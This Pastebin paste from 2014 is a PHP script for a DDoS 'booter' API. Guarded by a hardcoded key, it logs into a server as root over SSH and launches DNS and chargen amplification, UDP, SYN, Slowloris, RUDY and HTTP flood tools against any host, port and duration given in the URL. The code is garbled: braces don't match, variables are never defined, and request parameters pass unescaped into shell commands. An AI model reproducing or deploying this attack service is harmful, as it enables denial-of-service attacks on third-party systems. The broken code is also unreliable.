Advertisement
Guest User

Untitled

a guest
Jul 31st, 2014
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.96 KB | None | 0 0
  1. <?php
  2. error_reporting(E_USER_NOTICE);
  3. set_time_limit(0);
  4. ignore_user_abort(true);
  5.  
  6. if (!function_exists("ssh2_connect")) die("function ssh2_connect doesn't exist");
  7. if(!($con = ssh2_connect("", 22))){
  8.     echo "fail: unable to establish connection\n";
  9. } else {
  10.     if(!ssh2_auth_password($con, "root", "")) {
  11.   echo "fail: unable to authenticate\n";
  12.     } else {
  13.  
  14.         if(empty($_GET['host']) || empty($_GET['port']) || empty($_GET['time']) || empty($_GET['key']))
  15.         {
  16.                 die("You haven't filled all the fields.");
  17.         }
  18.  
  19.         if($_GET['key'] != "tempkey")
  20.         {
  21.                 die("You're not authorized to use this API.");
  22.         }
  23.  
  24.   // execute a command
  25.  
  26.   if (!($stream = ssh2_exec($con, "/var/www/html/api/50x ".$_GET['host']." ".$_GET['port']." DNS.txt 2 ".$_GET['time']))) {
  27.     echo "fail: unable to execute command\n";
  28.   } else {
  29.     echo "" . stream_get_contents($stream);
  30.  
  31.     echo "The attack has been sent";
  32.     }
  33.     }
  34. }
  35.   if (!($stream = ssh2_exec($con, "/var/www/html/api/chargen ".$_GET['host']." ".$_GET['port']." CHARGEN.txt 2 ".$_GET['time']))) {
  36.     echo "fail: unable to execute command\n";
  37.   } else {
  38.     echo "" . stream_get_contents($stream);
  39.  
  40.     echo "The attack has been sent";
  41.     }
  42.     }
  43. }
  44.   if (!($stream = ssh2_exec($con, "/var/www/html/api/udp ".$_GET['host']." ".$_GET['port']." DNS.txt 2 ".$_GET['time']))) {
  45.     echo "fail: unable to execute command\n";
  46.   } else {
  47.     echo "" . stream_get_contents($stream);
  48.  
  49.     echo "The attack has been sent";
  50.     }
  51.     }
  52. }
  53.  
  54.                 if (($attacktype == "stop") || ($attacktype == "STOP"))
  55.                 {
  56.                     shell_exec("sudo -S pkill -f $ip");
  57.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/pkill -f $ip ".$_GET['host']))) {
  58.                         echo "fail: unable to execute command\n";
  59.                       } else {
  60.                         echo "" . stream_get_contents($stream);
  61.  
  62.                         echo "The attack has been stopped";
  63.                       }
  64.                 }
  65.                 if (($attacktype == "SSYN") || ($attacktype == "ssyn"))
  66.                 {
  67.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/ssyn ".$_GET['host']." ".$_GET['port']." 5 ".$_GET['time']))) {
  68.                         echo "fail: unable to execute command\n";
  69.                       } else {
  70.                         echo "" . stream_get_contents($stream);
  71.  
  72.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  73.                 }
  74.                 if (($attacktype == "ESSYN") || ($attacktype == "essyn"))
  75.                 {
  76.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/essyn ".$_GET['host']." ".$_GET['port']." 8 ".$_GET['time']))) {
  77.                         echo "fail: unable to execute command\n";
  78.                       } else {
  79.                         echo "" . stream_get_contents($stream);
  80.  
  81.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  82.                       }
  83.                 }
  84.                 if (($attacktype == "XSYN") || ($attacktype == "xsyn"))
  85.                 {
  86.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/xsyn ".$_GET['host']." ".$_GET['port']." 8 -1 ".$_GET['time']))) {
  87.                         echo "fail: unable to execute command\n";
  88.                       } else {
  89.                         echo "" . stream_get_contents($stream);
  90.  
  91.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  92.                       }
  93.                 }
  94.                 if (($attacktype == "UDPLAG") || ($attacktype == "udplag"))
  95.                 {
  96.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/udplag ".$_GET['host']." ".$_GET['port']." DNS.txt 8 ".$_GET['time']))) {
  97.                         echo "fail: unable to execute command\n";
  98.                       } else {
  99.                         echo "" . stream_get_contents($stream);
  100.  
  101.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  102.                       }
  103.                 }
  104.                 //Layer7 Attacks
  105.                 if (($attacktype == "RUDY") || ($attacktype == "rudy"))
  106.                 {
  107.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/rudy ".$_GET['host']." ".$_GET['port']." 1100 proxies.txt ".$_GET['time'] 0))) {
  108.                         echo "fail: unable to execute command\n";
  109.                       } else {
  110.                         echo "" . stream_get_contents($stream);
  111.  
  112.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  113.                       }
  114.                 }
  115.                 if (($attacktype == "SLOWLORIS") || ($attacktype == "slowloris"))
  116.                 {
  117.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/slowloris ".$_GET['host']." ".$_GET['port']." 1100 proxies.txt ".$_GET['time'] 0))) {
  118.                         echo "fail: unable to execute command\n";
  119.                       } else {
  120.                         echo "" . stream_get_contents($stream);
  121.  
  122.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  123.                       }
  124.                 }
  125.                 if (($attacktype == "GET") || ($attacktype == "get"))
  126.                 {
  127.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/ghp ".$_GET['host']." GET 1200 proxies.txt ".$_GET['time'] 0 %RANDOM%))) {
  128.                         echo "fail: unable to execute command\n";
  129.                       } else {
  130.                         echo "" . stream_get_contents($stream);
  131.  
  132.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  133.                       }
  134.                 }
  135.                 if (($attacktype == "HEAD") || ($attacktype == "head"))
  136.                 {
  137.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/ghp ".$_GET['host']." GET 1200 proxies.txt ".$_GET['time'] 0 %RANDOM%))) {
  138.                         echo "fail: unable to execute command\n";
  139.                       } else {
  140.                         echo "" . stream_get_contents($stream);
  141.  
  142.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  143.                       }
  144.                 }
  145.                 if (($attacktype == "POST") || ($attacktype == "post"))
  146.                 {
  147.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/ghp ".$_GET['host']." GET 1200 proxies.txt ".$_GET['time'] 0 %RANDOM%))) {
  148.                         echo "fail: unable to execute command\n";
  149.                       } else {
  150.                         echo "" . stream_get_contents($stream);
  151.  
  152.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  153.                       }
  154.                 }
  155.                 if (($attacktype == "ARME") || ($attacktype == "arme"))
  156.                 {
  157.                     if (!($stream = ssh2_exec($con, "/var/www/html/api/arme ".$_GET['host']." 1200 proxies.txt ".$_GET['time'] 0))) {
  158.                         echo "fail: unable to execute command\n";
  159.                       } else {
  160.                         echo "" . stream_get_contents($stream);
  161.  
  162.                         echo "Attack Sent on $ip:$port For $time using $time using $attacktype!";
  163.                       }
  164.                 }
  165.  
  166. }
  167. }
  168. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement